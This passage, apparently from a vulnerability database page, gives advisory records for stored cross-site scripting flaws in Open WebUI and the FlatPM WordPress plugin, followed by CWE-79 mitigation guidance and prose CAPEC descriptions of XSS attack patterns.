"url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2757.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Stored XSS to Account Takeover via Model Profile Images "
}
GHSA-V2QP-JJ65-9FP8
Vulnerability from github – Published: 2026-01-20 15:33 – Updated: 2026-01-20 15:33The FlatPM – Ad Manager, AdSense and Custom Code plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'rank_math_description' custom field in all versions up to, and including, 3.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
{
"affected": [],
"aliases": [
"CVE-2026-0690"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T15:20:07Z",
"severity": "MODERATE"
},
"details": "The FlatPM \u2013 Ad Manager, AdSense and Custom Code plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the \u0027rank_math_description\u0027 custom field in all versions up to, and including, 3.2.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",
"id": "GHSA-v2qp-jj65-9fp8",
"modified": "2026-01-20T15:33:14Z",
"published": "2026-01-20T15:33:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0690"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3434760/flatpm-wp"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/14b89618-8a30-4b8c-9490-f05e8fa8ca8a?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
- Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
- For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
- Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
- etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
- Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- HTML body
- Element attributes (such as src="XYZ")
- URIs
- JavaScript sections
- Cascading Style Sheets and style property
Mitigation MIT-6
Strategy: Attack Surface Reduction
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-27
Strategy: Parameterization
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
Mitigation MIT-30.1
Strategy: Output Encoding
- Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
- The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
With Struts, write all data from form beans with the bean's filter attribute set to true.
Mitigation MIT-31
Strategy: Attack Surface Reduction
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
- Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.